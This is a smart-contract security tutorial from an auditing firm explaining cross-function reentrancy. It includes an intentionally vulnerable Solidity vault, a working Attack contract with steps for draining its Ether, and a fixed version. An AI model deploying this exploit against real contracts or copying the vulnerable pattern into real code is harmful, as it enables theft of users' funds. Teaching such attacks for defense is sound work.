Contents

Solidity Smart Contract Security By Example #04: Cross-Function Reentrancy


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Cross-function reentrancy is another level of reentrancy in terms of complexity. Typically, the root cause of this issue is that there are multiple functions mutually sharing the same state variable, and some of them update that variable insecurely.

In this article, you will learn how the cross-function reentrancy attack happens and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/04_cross_function_reentrancy.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Dependency


The following is the ReentrancyGuard abstract contract required by the InsecureEtherVault and the FixedEtherVault contracts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pragma solidity 0.8.13;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
Dependencies.sol


The ReentrancyGuard contains the noReentrant modifier that is used to prevent reentrancy attacks. The noReentrant (lines 6–11) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 7.


.    .    .

The Vulnerability


The below code presents the InsecureEtherVault contract, providing a simple vault allowing users to deposit their Ethers, transfer deposited Ethers to other users, withdraw all deposited Ethers, and check their balances.

As you may know, the InsecureEtherVault contract is vulnerable to a reentrancy attack. But, can you find the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function transfer(address _to, uint256 _amount) external {
        if (userBalances[msg.sender] >= _amount) {
           userBalances[_to] += _amount;
           userBalances[msg.sender] -= _amount;
        }
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureEtherVault.sol


You may notice that the withdrawAll function is attached with the noReentrant modifier (line 19). Hence, the withdrawAll function is safe from the reentrancy attack 🕵. Please refer to our previous article on the single-function reentrancy attack to understand how the insecure withdrawAll function can be exploited.

However, the InsecureEtherVault contract in this article got another level of reentrancy in terms of complexity; we would call it: cross-function reentrancy. 🤖

The cross-function reentrancy begins in line 23 in the withdrawAll function. Figure 1 below pictures how the cross-function reentrancy attack occurs.

Figure 1. How the cross-function reentrancy happens

Figure 1. How the cross-function reentrancy happens


The root cause of cross-function reentrancy attack is typically due to there are multiple functions mutually sharing the same state variable, and some of them update that variable insecurely.


Since the withdrawAll function applies the noReentrant modifier, an attacker cannot do the reentrancy on this function anymore.

Nevertheless, the withdrawAll function does not update the withdrawer’s balance (userBalances[msg.sender] = 0) before sending Ethers back to the withdrawer (Step 4). Therefore, the attacker can perform the cross-function reentrancy attack by manipulating the control flow in the Attack #1 contract’s receive function to transfer its balance (Step 5) to another contract, Attack #2 (i.e., contract instance #2 in Figure 1).

This way, the attacker can execute another transaction by calling the attackNext function of the Attack #2 contract (Step 6) to gradually withdraw Ethers from the InsecureEtherVault contract and then transfer the Attack #2 contract’s balance to the Attack #1 contract.

To steal all Ethers locked in the InsecureEtherVault, the attacker executes the attackNext function of the Attack #1 and Attack #2 contracts alternately. WOW! 🎃

In fact, the attacker can integrate the attack step 6 into a single transaction call to automate the attack. Though, the step 6 was intentionally isolated for the understanding sake.


.    .    .

The Attack


The code below shows the Attack contract that can exploit the InsecureEtherVault contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity 0.8.13;

interface IEtherVault {
    function deposit() external payable;
    function transfer(address _to, uint256 _amount) external;
    function withdrawAll() external;
    function getUserBalance(address _user) external view returns (uint256);
} 

contract Attack {
    IEtherVault public immutable etherVault;
    Attack public attackPeer;

    constructor(IEtherVault _etherVault) {
        etherVault = _etherVault;
    }

    function setAttackPeer(Attack _attackPeer) external {
        attackPeer = _attackPeer;
    }
    
    receive() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.transfer(
                address(attackPeer), 
                etherVault.getUserBalance(address(this))
            );
        }
    }

    function attackInit() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function attackNext() external {
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Attack.sol


To exploit the InsecureEtherVault, an attacker has to deploy two Attack contracts (i.e., attack1 and attack2) and then perform the following actions:

  1. Call: attack1.attackInit() and supplies 1 Ether

  2. Call: attack2.attackNext()

  3. Alternately Call: attack1.attackNext() and attack2.attackNext() to drain all locked Ethers


To understand how the Attack contract works in more detail, please refer to the attack steps illustrated in Figure 1 above.

As mentioned earlier, the actions #2 and #3 can be integrated into the action #1 for an atomic attack transaction call. Nonetheless, we intentionally isolated them for the sake of understanding.


Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker drained all locked Ethers by making separate transactions to the two Attack contracts alternately. 🤑


.    .    .

The Solution


The FixedEtherVault contract below is the fixed version of the InsecureEtherVault. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity 0.8.13;

import "./Dependencies.sol";

contract FixedEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function transfer(address _to, uint256 _amount) external {
        if (userBalances[msg.sender] >= _amount) {
           userBalances[_to] += _amount;
           userBalances[msg.sender] -= _amount;
        }
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
FixedEtherVault.sol


To fix the associated issue, the withdrawAll function was improved to follow the checks-effects-interactions pattern. In other words, we moved the so-called effect part (userBalances[msg.sender] = 0) to line 24 to execute it before the interaction part in line 26 (msg.sender.call{value: balance}("")). This coding pattern guarantees that the withdrawer’s balance would be updated before sending Ethers back to the withdrawer, precluding the cross-function reentrancy attack.


.    .    .

Summary


In this article, you have learned the cross-function reentrancy vulnerability in a smart contract, how an attacker exploits the attack, and the preventive solution to fix the issue. We hope you find this article useful. See you again in the following article.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/04_cross_function_reentrancy.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.